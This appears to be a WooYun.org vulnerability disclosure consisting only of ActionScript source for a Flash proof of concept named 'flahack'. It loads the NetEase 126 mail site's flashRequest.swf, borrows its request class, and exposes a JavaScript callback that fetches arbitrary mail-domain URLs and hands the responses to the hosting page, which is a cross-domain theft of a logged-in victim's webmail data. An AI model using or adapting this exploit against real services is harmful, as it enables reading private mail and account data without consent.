WooYun.org

package {
	import flash.display.Loader;
	import flash.display.Sprite;
	import flash.events.Event;
	import flash.external.ExternalInterface;
	import flash.net.URLLoader;
	import flash.net.URLRequest;
	import flash.system.Security;
	import flash.utils.getDefinitionByName;
	
	
	public class flahack extends Sprite {
		private static const PATH:String =
			'com.netease.mail.FlashRequest';
		private static const URL:String =
			'http://mail.126.com/js6/h/flashRequest.swf?callback=hello';
		private var loader:Loader = new Loader();
		private var cls:*;
		
		public function flahack() {
			Security.allowDomain('*');
			loader.contentLoaderInfo.addEventListener(Event.COMPLETE, onReady);
			loader.load(new URLRequest(URL));
		}
		
		private function onReady(e:Event) : void {
			//stage.addChild(loader);
			cls = loader.contentLoaderInfo.applicationDomain.getDefinition(PATH);
			ExternalInterface.addCallback('Load', extern_load);
			ExternalInterface.call('__fla_ready');
		}
		private function extern_load(url: String) : void {
			var obj:* = new cls(function(...args) : void {
				if (args[0] != 'complete') return;
				var data:String = args[2];
				ExternalInterface.call('__fla_complete',
					url,
					data.replace(/\\/g, '\\\\')
				);			
			});
			obj.open('GET', url, 'utf-8');
			obj.send('');
		}
	}
}